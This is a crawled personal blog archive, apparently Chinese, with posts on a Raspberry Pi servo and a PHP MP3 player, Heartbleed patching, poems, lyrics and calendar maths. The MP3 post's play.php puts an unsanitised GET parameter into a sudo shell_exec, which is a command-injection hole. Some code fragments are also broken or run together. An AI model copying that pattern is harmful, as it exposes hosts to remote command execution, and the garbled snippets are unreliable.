Cross一起编写了一个核心模块被包含在了[Occidentalis](http://learn.adafruit.com/adafruit-raspberry-pi-educational-linux-distro/occidentalis-v0-dot-2)发行版里。更多的细节请参照[这篇教程](http://www.geekfan.net/8808/)。如果你想在Raspbian或者其他发行版上使用这个模块,参考[这里](http://learn.adafruit.com/adafruit-raspberry-pi-educational-linux-distro/occidentalis-v0-dot-2)来把模块安装到你的环境里。 这个模块被称为**PWM** 与伺服马达(PWM and Servo)因为在控制伺服马达的同时该模块可以产生PWM(Pulse Width Modulation,脉冲宽度调制)信号,(与额外电源配合)可被用于控制马达的功率或灯光亮度。这节课我们不会使用PWM。 PWM与伺服马达模块使用一种文件类型的接口,你可以通过读取和写入特殊的文件来控制输出针脚和伺服马达的行为。这使得使用Python或者其他语言来编写该接口十分容易。 用于驱动伺服马达的所涉及到的文件列在下方。所有文件可以在树莓派的/sys/class/rpi-pwm/pwm0/目录下找到。 **文件 – 描述** active – 1为激活,0为未激活。你可以通过读取它来查找输出针是否被激活,或者通过改写控制它的激活或未激活。 delayed – 如果设置为1,你对其他文件的改动不会起作用直到你使用上面的active来激活输出针。 mode – 改写文件来设置针脚是pwm,servo(伺服马达)还是audio(音频)。显然这里我们要设置为servo。注意这些针也会被小派的音频输出使用,所以你不能在使用声音的同时控制一个伺服马达。 servo_max – 改写这个文件来设置伺服马达的最大角度。我们把它设置为180这样我们就可以很容易的把伺服马达置成0到180度之间的位置了。 servo – 改写这个文件将会设置伺服马达的脉冲长度到一个与servo_max有关的值。比如我们把它设置为90,servo_max的值为180,那伺服马达会保持在中间位置。 #### 硬件 在小派上只有一个针脚能够产生这样的脉冲(GPIO 18针)。它将与伺服马达的控制针脚相连。伺服马达的电源由外接电池控制,因为使用小派的电源可能会在伺服马达开始转动的瞬间产生巨大的电流,导致小派崩溃。伺服马达需要4.8-6V的直流电来驱动马达,但是信号的逻辑电平(脉冲输出)可以是3.3V,所以可以直接把信号线直接连到GPIO的输出针上。 [![lesson8_10](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/92b202ebc0_905eb86a9bdb132736140388de7bf5af.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/92b202ebc0_905eb86a9bdb132736140388de7bf5af.png "Adafruit的树莓派教程第八课:使用伺服马达") 小派扩展板用于连接树莓派和面包板,如果你之前没有使用过扩展板,你可以参考这个系列教程的[第四节](http://www.geekfan.net/8972/)。 伺服马达通常有一个三针的插座。红色和棕色用于供电(红色为正极)并且第三针黄色或橘黄色的用于控制信号。要把插座连接到面包板上,你需要使用公对公的跳线。 [![lesson8_11](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b7194214e_95bcadced01a46f8eaad5825a7d8b9e3.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b7194214e_95bcadced01a46f8eaad5825a7d8b9e3.jpg "Adafruit的树莓派教程第八课:使用伺服马达") #### 软件 这个项目不需要安装任何Python库。 下面列出的程序使伺服马达前后摆动: # Servo Control import time def set(property, value): try: f = open("/sys/class/rpi-pwm/pwm0/" + property, 'w') f.write(value) f.close() except: print("Error writing to: " + property + " value: " + value) def setServo(angle): set("servo", str(angle)) set("delayed", "0") set("mode", "servo") set("servo_max", "180") set("active", "1") delay_period = 0.01 while True: for angle in range(0, 180): setServo(angle) time.sleep(delay_period) for angle in range(0, 180): setServo(180 - angle) time.sleep(delay_period) 为了写文件方便,我写了一个工具方法叫做”set”。第一个参数是要被写入的文件名(属性名),第二个参数是要被写入的值。 在程序的开始部分写入了几个文件来关闭delay模式,设置mode为’servo’,设置伺服马达的最大角度为180度最后把输出针设置为激活状态。 一个叫做delay_period的变量用于存储伺服马达每一步的间隔秒数。 while循环会一直进行直到按下CTRL+C终止。在while循环中有两个相似的for循环,第一个从0到180度递增旋转角度,第二个刚好相反,从180到0度递减。 要安装个软件,使用SSH连接到小派上然后输入下面的命令: nano servo.py 粘贴上面的代码然后使用CTRL+X然后按一下Y保存。 [![lesson8_12](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/928c1001e2_2cb51c3be5b8edf924a4c666b50be73e.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/928c1001e2_2cb51c3be5b8edf924a4c666b50be73e.png "Adafruit的树莓派教程第八课:使用伺服马达") 然后在SSH窗口里输入下面的命令来使程序运行: python servo.py 然后伺服马达就开始转动啦。 #### 测试&配置 如果你想让马达转快一些,尝试改变delay_period到一个更小的值,例如0.001,如果想慢一些,把它增大到0.1. 如果你想控制多个伺服马达,像[Adafruit I2C 16 channel servo / pwm controller](http://www.adafruit.com/products/815)里一样。你可以通过[这篇教程](http://learn.adafruit.com/adafruit-16-channel-servo-driver-with-raspberry-pi/overview)来进行了解。 [Adafruit的树莓派教程第八课:使用伺服马达](http://www.geekfan.net/9507/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## php 错误 Date: 2014-05-29 URL: https://blog.wo.ai/archives/551 Categories: Technology Php运行的时候,提示下列错误 PHP Deprecated: Comments starting with ‘#’ are deprecated in /etc/php5/cli/conf.d/ming.ini on line 1 in Unknown on line 0 后google解决,纯记录。 #注释已经去掉,换成分号就可以了 find /etc/php5/cli/conf.d/ -name “*.ini” -exec sed -i -re ‘s/^(\s*)#(.*)/\1;\2/g’ {} \; --- ## 偶得 – 开缄如见汝,读罢转愁予 Date: 2014-05-26 URL: https://blog.wo.ai/archives/547 Categories: Life, Poem & Reading **得林茂之书并诗** (明·冒愈昌) 五言律诗 押鱼韵 不谓三年别,能来一纸书。开缄如见汝,读罢转愁予。 淮水月常在,秋风柳易疏。更怜诗句好,吟望意何如。 群里有新人加入,10多年没见,见语如见人。 在信件还是主要沟通工具的时候,见字如晤是最常见的问候语,简单一句话,拉近了两个人之间的时间和空间距离。 当年我也是从写信开始的。从每月一封,到每周一封,甚至每周两封。 电话、网络的普及,方便了联系,同时也拉开了人之间的距离。科技的出现给人类带来了进步,也让人变得更加寂寞。 像愈昌一样,三年得到友人一笺,应该是悲喜交加吧。 --- ## [转]无题 Date: 2014-05-26 URL: https://blog.wo.ai/archives/543 Categories: Chatterbox, Uncategorized **总有一天,会有一个人,看你写过的所有状态,读完写的所有微博,看你从小到大的所有照片,甚至去别的地方寻找关于你的信息,试着听你听的歌,走你走过的地方,看你喜欢看的书,品尝你总是大呼好吃的东西……只是想弥补上,他迟到的时光。** --- ## heart bleeding 修复 Date: 2014-05-23 URL: https://blog.wo.ai/archives/537 Categories: Technology 前段时间,让整个互联网都震动的heart bleeding漏洞,一下子所有https加密网站都受到影响。 因为我的加密网站用的不多,所以没管它,今天想起来就来补这个漏洞了。 下载openssl包,编译,安装就可以了。 但是编译过程中出现了点问题,上网找了很久,用下面的方法就可以了 ./config make clean make zlib make make install 然后which openssl openssl version -a 看看最后的时间是不是2014年4月7号或者8号,如果是之前的版本就不对了。 通过这两个网址可以检测。 https://lastpass.com/heartbleed/ 1294890876 结果:2011-01-13 11:54:36 echo date(‘Y-m-d H:i:s’,’1294890876′); PHP时间戳在JAVA中使用,最后加三位,用000补充,如:1294890859->1294890859000 结果:2011-01-13 11:54:19 SimpleDateFormat df = new SimpleDateFormat(“yyyy-MM-dd HH:mm:ss”); String dateTime = df.format(1294890859000L); System.out.println(df); --- ## 【科普】雾、霭和霾的区别[转载] Date: 2014-05-14 URL: https://blog.wo.ai/archives/524 Categories: Uncategorized 对于网上对霾的报道越来越多,觉得有必要了解一下 雾、霭和霾的区别 原文:http://amuseum.cdstm.cn/AMuseum/atmosphere/main/k1116.html 雾:大量微小 (通常在显微镜下才能分辨) 水滴悬浮于空气中的现象,它一般会使地面的水平能见度降低到1000米以下。 霭:悬浮在空气中的微小水滴或湿的吸湿性微粒,它能使地面的能见度降低。 霾:空气中悬浮着的极小的、干的微粒,这些微粒肉眼看不到,数量却非常多,足以使天空变得浑浊。 这三种现象都是由空气中悬浮的微粒所造成的,其结果都是使水平能见度下降或使天空变得浑浊。但在这三种现象中,悬浮的微粒是不一样的。雾是由悬浮的水滴形成;霾是由悬浮的干的微粒形成的;而霭是介于这二者之间,是由微小水滴或湿的吸湿性微粒所形成的,可以说是从霾到雾的过渡阶段。正是由于悬浮粒子的不同,造成它们来源、形成的过程及其物理化学特性都不同。 霾发生时相对湿度不大。霾的垂直厚度比较厚,可达1-3公里,一般霾的日变化不明显。雾与霾的区别在于发生霾时相对湿度不大,而雾中的相对湿度是饱和的(如有大量凝结核存在时,相对湿度不一定达到100%就可能出现饱和)。一般相对湿度小于80%时的大气混浊视野模糊导致的能见度恶化是霾造成的,相对湿度大于90%时的大气混浊视野模糊导致的能见度恶化是雾造成的,相对湿度介于80%~90%之间时的大气混浊视野模糊导致的能见度恶化是霾和雾的混合物共同造成的,但其主要成分是霾。 --- ## 風の記憶 Date: 2014-05-09 URL: https://blog.wo.ai/archives/513 Categories: Music, Music & Movie 今天朋友推荐了熊木杏里的一首小清新的歌《风中的记忆》,循环听了一晚上,堪称治愈系的歌曲。 熊木 杏里(くまき あんり、1982年1月27日 – )は、日本のシンガーソングライター・作曲家。長野県更埴市(現・千曲市)出身。身長153cm。血液型B型。関東国際高等学校を経て目白学園女子短期大学卒。名前の由来は長野県更埴市(現・千曲市)の観光名所「あんずの里」より採られた。愛称は「あんりこ」。 ![熊木杏里](http://img.xiami.net/images/artistpic/53/23353/1395844593_ZduR_4.jpg)熊木杏里 [風の記憶](http://m6.file.xiami.com/353/23353/168096/2073902_2839111_h.mp3 "風の記憶") 風の記憶 熊木杏里(くまきあんり) * 歌手:熊木杏里 * 作詞:熊木杏里 * 作曲:熊木杏里 青い地球が 私の胸に 夜に浮かぶ 満月をくれた 大地の花が 私の胸に 沈まない 太陽をくれた 人と出会う横には いつかある いつか分かれに変わる 夕凪が 風をくぐって 海を越えたら 君が 宝島になる ひとかけらの夢は 群れを帯びてる 魚のように よこぎってゆく季節 君と叶える奇跡 明日の上を鳥たちが飛ぶ 夜明けまでに、間に合うように 船の汽笛は 始まりの音 見えない矢印を 浮かべて 君と過ごした 短い記憶が いつか長く伸びて 迎えに来る 風の頼りに 目を閉じた時 君が宝島になる 夢を飾りながら 珊瑚のように 波に揺られて 気がついてゆく 季節 一続きの この旅 中文歌词:引自 饮水 http://www.douban.com/group/topic/2582717/ 蔚蓝的地球把夜晚隐现的满月悬在我的心中。 大地的花朵将永不落山的太阳挂在我的心中。 与人的邂逅总是伴随着不知何时就会到来的分别 如同傍晚平静的海面(不知何时就会消逝) 等我穿过风,渡过海 你却化身为(那神秘的)金银岛 (我有一个)小小的梦想 (希望)自己能像鱼群中的(一尾小)鱼那样 在那迁徙的季节 与你一起创造奇迹 仿佛为了追赶黎明似的 鸟儿们在明天的天空中飞翔 船上汽笛发出启航的鸣叫 仿佛在无形中指引着方向 与你一同度过的短暂记忆 不知在何时延展开来 迎向我 (当我)凭着风 闭上眼睛时 你就是我寻觅的金银岛 就像那点缀梦想的珊瑚那样 在波涛中摇摆 (我)在这缓慢体会的季节里 继续着这样的旅程 --- ## Thank God I’m A Country Boy Date: 2014-03-04 URL: https://blog.wo.ai/archives/486 Categories: Music, Music & Movie, Springfield 今天需要把电脑硬盘的空间腾出来,只好把移动硬盘的东西删了,然后移过去。这个移动硬盘里面基本都是春田的照片和视频,把大视频都删了,其中找到一段,是在Dr.Olen Greer家烧烤的。当时没想到平常严肃的Dr.Greer是个多才多艺的人,拿吉它就给大家唱了几首,其中就有这首《Thank God, I am a country boy》。 [![篝火](/wp-content/uploads/2014/03/照片-132-300x199.jpg)](/wp-content/uploads/2014/03/照片-132.jpg) [![聚会](/wp-content/uploads/2014/03/greer6-300x199.jpg)](/wp-content/uploads/2014/03/greer6.jpg) [![聚会](/wp-content/uploads/2014/03/照片-045-300x200.jpg)](/wp-content/uploads/2014/03/照片-045.jpg) [![聚会](/wp-content/uploads/2014/03/照片-049-300x200.jpg)](/wp-content/uploads/2014/03/照片-049.jpg) Thank God I’m A Country Boy Words:john martin sommers Music:john martin sommers This song appears on thirteen albums, and was first released on the back home again album. it has also been released on the greatest hits vol 2, favourites, voice of america, the rocky mountain Ction, the country roads collection and changes albums. it has been recorded for the love again album. live versions appear on the an evening with john denver, live in london, country classics, Ery best of john denver (double cd) and live at the syney opera house albums. Well life on the farm is kinda laid back Ain’t much an old country boy like me can’t hack It’s early to rise, early in the sack Thank god i’m a country boy Well a simple kinda life never did me no harm A raisin’ me a family and workin’ on a farm My days are all filled with an easy country charm Thank god i’m a country boy Well i got me a fine wife i got me a fiddle When the sun’s comin’ up i got cakes on the griddle Life ain’t nothin’ but a funy funny riddle Thank god i’m a country boy When the work’s all done and the sun’s settlin’ low I pull out my fiddle and i rosin up the bow The kids are asleep so i keep it kinda low Thank god i’m a country boy I’d play ※sally goodin’§ all day if i could But the lord and my wife wouldn’t take it very good So i fiddle when i could, work when i should Thank god i’m a country boy Well i got me a fine wife i got me a fiddle When the sun’s comin’ up i got cakes on the griddle Life ain’t nothin’ but a funy funny riddle Thank god i’m a country boy Well i wouldn’t trade my life for diamonds and jewels I never was one of them money hungry fools Iid rather have my fiddle and my farmin’ tools Thank god i’m a country boy Yeah, city folk drivin’ in a black limousine A lotta sad people thinkin’ that’s mighty keen Son, let me tell ya now exactly what i mean Thank god i’m a country boy Well i got me a fine wife i got me a fiddle When the sun’s comin’ up i got cakes on the griddle Life ain’t nothin’ but a funy funny riddle Thank god i’m a country boy Well, my fiddle was my daddy’s till the day he died And he took me by the hand and held me close to his side Said, ※live a good life and play my fiddle with pride And thank god you’re a country boy My daddy taught me young how to hunt and how to whittle Taught me how to work and play a tune on the fiddle Taught me how to love and how to give just a little Thank god i’m a country boy Well i got me a fine wife i got me a fiddle When the sun’s comin’ up i got cakes on the griddle Life ain’t nothin’ but a funy funny riddle Thank god i’m a country boy Thank god i’m a country boy 美国的小孩从小就会有这方面的教育,但是似乎是按照兴趣来发展的,不想国内填鸭的教育反而让孩子反感。这些soft skill对孩子未来的发展很有帮助,不想我们这一代,一直都后悔当年怎么没有这个机会学习。 这首歌每段落都是以Thank god i’m a country boy结尾,以调侃自己的方式讲述乡村的生活,悠闲、舒适、满足,远离城市的繁华和尘嚣。 这个时代,乡村正不断被都市侵蚀。土地的变迁还在其次,更多的是心灵的侵蚀,越来越多的人在追求都市的繁华和喧嚣的同时,关于乡村天云的印象也越来越淡漠。 然而,当我们站在都市人影重叠的街头,当我们闭目聆听我们内心的音乐时,仍旧能清晰地听到一个人的声音,一个明亮、纯净、永远生长在乡村的意象之上的声音——那个人,就是John Denver,乡村民谣的守护者大约很多喜欢乡村音乐的朋友都记得这首歌,Leaving on a jet plane。1997年10月12日,john denver在加利弗尼亚海边,驾着他的私人飞机,触崖坠海,飘然而去,就象他在这首歌里唱的那样: I’m leaving on a jet plane, I don’t know when i’ll be back again Leaving On A Jet Plane John Denver All my bags are packed, I’m ready to go I’m standing here outside your door I hate to wake you up to say goodbye But the dawn is breaking, it’s early morn’ The taxi’s waiting, he’s blowing his horn Already I’m so lonesome I could die So kiss me and smile for me Tell me that you’ll wait for me Hold me like you’ll never let me go ‘Cause I’m leaving on a jet plane I don’t know when I’ll be back again Oh baby, I hate to go There’s so many times I’ve let you down So many times I’ve played around I tell you now, they don’t mean a thing Every place I go I think of you Every song I sing I’ll sing for you When I come back, I’ll wear your wedding ring So kiss me and smile for me Tell me that you’ll wait for me Hold me like you’ll never let me go ‘Cause I’m leaving on a jet plane I don’t know when I’ll be back again Oh baby, I hate to go Now the time has come to leave you One more time, oh let me kiss you And close your eyes and I’ll be on my way Dream about the days to come When I won’t have to leave alone About the times that I won’t have to say So kiss me and smile for me Tell me that you’ll wait for me Hold me like you’ll never let me go ‘Cause I’m leaving on a jet plane I don’t know when I’ll be back again Oh baby, I hate to go I’m leaving on a jet plane I don’t know when I’ll be back again Oh baby, I hate to go END…….. 乘喷气客机离开 我的行囊已经打好, 即将离开我正站在你的你的门前 不愿将你惊醒, 不愿与你道别 但是已经破晓, 早晨已经来到 出租车正在门外等候, 喇叭不断鸣响 我是如此孤单, 几乎死去 来吻我, 来对我微笑 告诉我你会等我 握住我的手, 就像你永远不会让我离开 我将乘喷气客机离开 不知何时归来 宝贝,我真的不想走…… 无数次令你失望无数次我在周围游玩 我想告诉你, 那些什么都不算 每去一个地方我都会想你 每一首歌都是为你而唱 当我回来, 我会带回给你的婚戒 来吻我, 来对我微笑 告诉我你会等我 握住我的手, 就像你永远不会让我离开 我将乘喷气客机离开 不知何时归来 宝贝,我真的不想走…… 现在到了离开你的时候了 请让我再次吻你 然后闭上你的眼睛, 我就要出发憧憬未来的日子 我不用再孤身离开 对于时间,我真的不想再说什么了 来吻我,来对我微笑 告诉我你会等我 握住我的手,就像你永远不会让我离开 我将乘喷气客机离开 不知何时归来 宝贝,我真的不想走…… 但是真的到我乘喷气客机离开的时候了 不知什么时候才能回来 我不想走,宝贝,我不想走。 --- ## 树莓派充当mp3播放器 Date: 2014-01-17 URL: https://blog.wo.ai/archives/477 Categories: Raspberry Pi, Technology 最近想着通过Raspberry Pi来充当mp3用,因为没有显示器,只有音箱,所以就把音箱直接接在Pi的3.5mm耳机接口上。可以在电脑上或者手机上通过网页来播放音乐。也许有人问,有了电脑或手机为什么要这个,因为也许电脑、手机的外放效果不怎么样,接音箱总归好一些。而且对于我这个懒人,就喜欢躺床上,希望通过手机来控制一切,所以才诞生了这个想法。 基本步骤: 1.安装系统,本人使用的是xbian,理论上其他系统也可以。如果已经装好系统,可以跳过这一步 2.安装mpg123 命令: apt-get install mpg123 安装完毕mpg123,拷贝一个mp3文件到Pi中,可以运行mpg123 xxx.mp3(xxx.mp3为mp3文件名)看看能否正常运行。 本人在运行的时候出现找不到输出口的问题,大概是声卡驱动没有正确加载,运行以下命令解决: sudo modprobe snd-bcm2835 3.安装lnmp,其实这里只需要安装nginx和php就可以了。 参照我之前的帖子 https://blog.wo.ai/archives/194 来进行安装 或者简单运行如下程序: apt-get install nginx php5 php5-fpm php5-mysql php5-curl php5-gd php5-intl php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl 4.然后配置php sudo权限,这样php执行命令的时候不需要输入自己的密码 为 nginx,而想透过 PHP 发送irsend,用 root 输入指令 vi /etc/sudoers, 在档案最底加上以下一行: www-data ALL=NOPASSWD: /usr/bin/mpg123 5.开始php旅程: 首先是index.php,用来遍历某个目录下所有的mp3文件,并显示出来: //获取文件目录列表,该方法返回数组 function getDir($dir) { $dirArray[]=NULL; if (false != ($handle = opendir ( $dir ))) { $i=0; while ( false !== ($file = readdir ( $handle )) ) { //去掉””.”、”..”以及带”.xxx”后缀的文件 if ($file != “.” && $file != “..”&&!strpos($file,”.”)) { $dirArray[$i]=$file; $i++; } } //关闭句柄 closedir ( $handle ); } return $dirArray; } //获取文件列表 function getFile($dir) { $fileArray[]=NULL; if (false != ($handle = opendir ( $dir ))) { $i=0; while ( false !== ($file = readdir ( $handle )) ) { //去掉””.”、”..”以及带”.xxx”后缀的文件 if ($file != “.” && $file != “..”&&strpos($file,”.mp3″)) { $fileArray[$i]=”/home/test/”.$file; if($i==100){ break; } $i++; } } //关闭句柄 closedir ( $handle ); } return $fileArray; } 读取mp3tag function readmp3($mp3_file) { $fp=fopen($mp3_file,"rb"); //读取mp3文件 //首先判断是否有TAG,如果没有,那就没必要读取了,方法就是读取倒数128-126字节,看是否是TAG //详情参看http://www.readlog.cn/archives/2961/ fseek($fp,-128,SEEK_END); //指针移到倒数128字节处 $tag=fread($fp,3); //读取倒数128-126字节位置的数据 if($tag=="TAG") //如果这3个字节是TAG,表明有TAG { $mp3=array(); //标题30个字节,从倒数125字节到倒数96字节 //现在直接读就可以了 $mp3['标题']=fread($fp,30); //艺术家30个字节,从倒数95字节到66字节 $mp3['艺术家']=fread($fp,30); //专辑30个字节,从倒数65字节到36字节 $mp3['专辑']=fread($fp,30); //年份4个字节,从倒数35字节到32字节 $mp3['年份']=fread($fp,4); //注释28个字节,从倒数31字节到4字节 (有的是30个字节,那就把倒数第2,3位归入注释了) $mp3['注释']=fread($fp,28); fseek($fp,1,SEEK_CUR); //跳过倒数第3位保留位 //第几首1个字节,倒数第2位 $mp3['编号']=ord(fread($fp,1)); //流派1个字节,就是倒数第一个字节了 //流派这里是存放的整型数据,可以写个函数来把数字变成具体的文字。 //具体含义参看http://www.readlog.cn/archives/2961/ $mp3['流派']=ord(fread($fp,1)); return $mp3; } } 生成mp3列表: ”); $mp3 = readmp3($file); if($mp3){ echo($mp3[‘艺术家’].’-‘.$mp3[‘专辑’].’-‘.$mp3[‘标题’]); } } ?> 页面基本完成了。 然后是play.php,根据传进来的文件名,通过后台播放: /dev/null &”; shell_exec($cmdline); if($_GET[‘file’]){ $cmdline = “/usr/bin/sudo /usr/bin/mpg123 –loop -1 “.$_GET[‘file’].” >/dev/null &”; echo($cmdline); $output = shell_exec($cmdline); echo($output); } ?> 基本上大功告成了,这里的mp3文件名除了本地文件外,还可以是流媒体或者网址,都可以试试看。 英文中有个词是couch potato,我还是当bed potato吧。好好享受着音乐吧。 附:Raspberry Pi(树莓派)声音输出的设置 Raspberry Pi(树莓派)声音输出可以设置为自动,耳机输出,从HDMI输出三种,默认为自动 pi@aborn ~ $ sudo apt-get install alsa-utils pi@aborn ~ $ sudo modprobe snd-bcm2835 #把声音模块加入内核 pi@aborn ~ $ sudo aplay /usr/share/sounds/alsa/Front_Center.wav pi@aborn /opt/vc $ sudo amixer cset numid=3 2 numid=3,iface=MIXER,name=’PCM Playback Route’ ; type=INTEGER,access=rw——,values=1,min=0,max=2,step=0 : values=2 pi@aborn /opt/vc $ sudo aplay /usr/share/sounds/alsa/Front_Center.wav Playing WAVE ‘/usr/share/sounds/alsa/Front_Center.wav’ : Signed 16 bit Little Endian, Rate 48000 Hz, Mono pi@aborn /opt/vc $ sudo amixer cset numid=3 numid=3,iface=MIXER,name=’PCM Playback Route’ ; type=INTEGER,access=rw——,values=1,min=0,max=2,step=0 : values=0 pi@aborn /opt/vc $ sudo amixer cset numid=3 1 numid=3,iface=MIXER,name=’PCM Playback Route’ ; type=INTEGER,access=rw——,values=1,min=0,max=2,step=0 : values=1 **values** 取不同的值分别代表: 0=auto(自动), 1=headphones(耳机), 2=hdmi --- ## php读取mp3文件信息 (转) Date: 2014-01-16 URL: https://blog.wo.ai/archives/474 Categories: Technology 一个读取的程序。其实稍作改动,就可以变成读写的(id3v1),id3v2复杂的多,以后看情况再写吧。 --- ## 无根浮萍 Date: 2014-01-05 URL: https://blog.wo.ai/archives/463 Categories: Life 周末回到SH整理了两天东西,然后将所有打包好的东西发物流回去,居然有587公斤,这是来SH近10年存下来的。发完快递以后,不知为什么心情很乱,不想在SH多停留一分钟,打电话给航空公司改早一班飞机到SZ。到飞机上也一直很乱,突然明白“家”没了。回国两年来,一直在外面出差,孩子妈和孩子一直在SH,心理上那个“家”还在SH。前不久他们回去了,SH那个“家”空在那里,至少觉得他们会回去,也还算一个家。今天把所有家当发回去,突然发现象征意义的那个家没了,难怪会乱。虽然孩子妈在那里也找了房子,我也可以周末回去,但冥冥中告诉我,那不是我的家,只是个住所而已。 很早以前听说,走到哪,家就在哪,那应该是在单身的时候吧。 --- ## 寻找公历农历相同的日子 Date: 2014-01-03 URL: https://blog.wo.ai/archives/453 Categories: Miscellaneous 今年大家都在热炒1986年的公历和今年的一样,但是农历却不一样。因为公历每四年闰一天,每周有七天,所以大概是28年同一次,农历是19年同一次(解释在下面),理论上农历和西历要完全相同,大概需要19*28=532年。理论上公元1482年的西历和农历都和今年相同。实际上28年重复一次,也不是靠谱的,因为每年的日子实际上是个小数,公历四年一闰,但是百年反而不一定闰了,规则是如果年份可以被100除尽,还需要被400除尽才闰,这样导致公历也会相差,比如1902,1930,1958,1986,2014这几年日历相同,因为1900年不是闰年,导致1874年比2014年的元旦晚了一天。所以翻遍万年历,几乎不可能找到农历公历完全相同的日子。 2014/1/1 周三,农历十二月初一 1482/1/1 周四,农历十二月初三 950/1/1周四,农历十二月初四 418/1/1周一,农历十二月初八 另外,澄清一点,公历或者西历是太阳历,所以可以称作阳历,而农历不但根据月亮公转地球的周期,还要计算地球公转太阳的周期,所以准确的说,应该是阴阳历,所以大众普遍说的阴历其实是不准确的。 下面是解释为什么农历中十九年七闰及公历四年一闰的原因: 转载自 除了你出生的那一年之外,大家有沒有遇過你西曆生辰的那一天又是你的農曆生辰呢?未遇過?這不出奇。因為根據曆法,西曆和農曆每隔 19 年才循環一次,如果你的年齡未滿 19 歲,自然不會遇上西曆生辰和農曆生辰在同一天出現的情況了。 可能大家會懷疑,為甚麼一定要等 19 年,西曆和農曆才會循環一次呢?為了明白 19 年循環的奧秘,我們先就要明瞭倒底「西曆」和「農曆」是怎樣制定出來的。首先,讓我們看看「西曆」: 我們現時所採用的「西曆」,顧名思義,就是一套從西方傳入的曆法系統。遠在古羅馬(甚至是更早的)時期,當時的歐洲人就已經將地球環繞太陽公轉一周所需的時間定為「一年」。通常我們都說 1 年有 365 日,即是說地球自轉了 365 次(日),它就會環繞太陽公轉 1 次(年)。如果地球自轉和公轉之比,剛好是一個整數,那麼一切就好辦了,但很可惜,經過仔細的天文觀測後發現,地球環繞太陽公轉所需的準確時間應為 365 日 5 小時 48 分 46 秒,即約 365.2422 日。故此,1 年有 365 日的想法,和地球公轉所需的時間,實際上有 0.2422 日的差別。 相信大家都知道,我們每隔 4 年就會在第 4 年中增加一日(即該年的 2 月 29 日),目的就是為了彌補上述的差別。注意:0.2422 ´ 4 = 0.9688,而 1 – 0.9688 = 0.0312 日,即約等於 44 分 56 秒。換句話說,使用了「四年一閏」的曆法,我們每隔 4 年就可以將上述的差別減少至 4 年才相差 44 分 56 秒,相信這是一個很合理的處理辦法了。 由於「西曆」是按照太陽和地球的關係而制定出來的,故此亦有人將「西曆」稱為「陽曆」。而為了方便後面的討論,我將地球公轉所需的時間(即 365.2422 日)稱為 1 個「太陽年」。 「農曆」就比較麻煩。有人稱「農曆」為「陰曆」,這是因為「農曆」主要是根據月球環繞地球公轉所需的時間而制定出來的。同樣,據觀測,月球環繞地球公轉一周所需的時間亦不是一個整數,而是等於 29 日 12 小時 44 分 2.8 秒,即約 29.5306 日。故此,在農曆裏面,1 個月有時會有 29 日,有時又會有 30 日。這要看每次月缺和月圓的時間才可定出一個月到底有多少日。通常,我們會將月圓的那一天定為每個月的第 15 日。同樣,為了方便後面的討論,我將月球環繞地球公轉所需的時間(即 29.5306 日)稱為 1 個「太陰月」。 將 1 個太陽年和 1 個太陰月相除,得 365.2422 ¸ 29.5306 = 12.368262,由此可知 1 個太陽年比 12 個太陰月多出 0.368262 個太陰月,約 10 日 21 小時。在這裏,問題來了:如果我們將 1 個農曆年定為 12 個月,那麼每過 1 年,我們就要提早差不多 11 日過新年了!這樣做,會令到我們使用農曆時出現很多混亂和困難的情況。例如:農夫發覺今年農曆 3 月 1 日天氣回暖,春天到了,適合播種,那麼到了第二年就要改於 3 月 12 日播種,第三年就要改於 3 月 23 日,如此類推。十年後就要在 7 月才開始耕種,二十年後就要到 11 月了! 為了解決上述的困難,農曆的曆法亦好像西曆「四年一閏」的制度一樣,在適當的時候就會在某一年之中加插多一個月(即閏月)來調節上述的差距。至於哪一年需要多加一個閏月,它的推算方法亦十分簡單,就是直接將每年多出來的時間(即 0.368262 個太陰月)累積地加起來,如果剛好超過 1 個太陰月,就可以在該年加插一個閏月了。 例如:第 1 年多了 0.368262 個太陰月,第 2 年就會多 0.736524 個太陰月,第 3 年將會多出 1.104786 個太陰月。這時剛好多於1個太陰月,所以我們就在第 3 年中加添一個閏月,因而得到農曆「三年一閏月」的規律。 但「三年一閏月」這個方法並不完美,原因是即使增加了 1 個閏月,3 年後仍和實際的太陽年相差了 0.104786 個太陰月,約 3 日 2 小時。這個差距依然很大。為了建造一個更好的曆法,我們可以繼續算下去,從而得到下表: 年數 累積差額(個太陰月) 3 1.104786 6 2.209572 8 2.946096 11 4.050882 14 5.155668 16 5.892192 19 6.996978 這樣,我們就計算出農曆年和太陽年之間一個更準確的關係了。從上表可以見到,當過了 8 年後,雖然差額祇有 2.946096 個太陰月,仍未足 3 個太陰月,但這個數字卻和 3 非常接近,故此,在農曆的曆法中,亦有「八年三閏月」的規定,即除了在第 3 和第 6 年分別插入 1 個閏月外,亦在第 8 年再加插多 1 個閏月。這時候,我們祇是隔了一年,就已經有多 1 個閏年了。類似地,到了第 16 年,就應該有 6 個閏月了。 注意:按「八年三閏月」的規定推算,8 年後太陽年和農曆年應該相差了 3 – 2.946096 = 0.053904 個太陰月,即約 1 日 14 小時。亦即是說,經過 8 年後,農曆年和太陽年其實祇有一至兩天的差距。大家是否記得你們 8 歲的那一年,你們的西曆生辰祇比農曆生辰早了 1 天或 2 天到臨呢?看過以上的計算,大家就應該明白,這個現象是基於甚麼原因而造成的了。 但一個更準確的結果,應該出現在第 19 年了。如果我們定「19 年 7 閏月」,那麼太陽年和農曆年就祇相差 7 – 6.996978 = 0.003022 個太陰月,即約祇有 2 小時!試想想:在長長 19 年的歲月中,若依照「19 年 7 閏月」的方法,最後兩種曆法其實祇相差 2 小時,這是一個多麼精確的結果!因此,每逢 19 或 19 倍歲數生辰的時候,西曆生辰和農曆生辰就有機會在同一天出現了。 例如:2003 年的 2 月 1 日是農曆年的正月初一。19 年後,即 2022 年的 2 月 1 日那天亦剛好是農曆正月初一!換句話說,在 2003 年 2 月 1 日出生的人,到了 2022 年 19 歲生辰那天,就會同日慶祝兩個曆法上的生辰了。(大家不妨查一查,你們 19 歲的那一年,西曆生辰和農曆生辰又是否重疊在同一天呢?)不過,如果我們倒數 19 年卻發現,1984 年的正月初一卻在 2 月 2 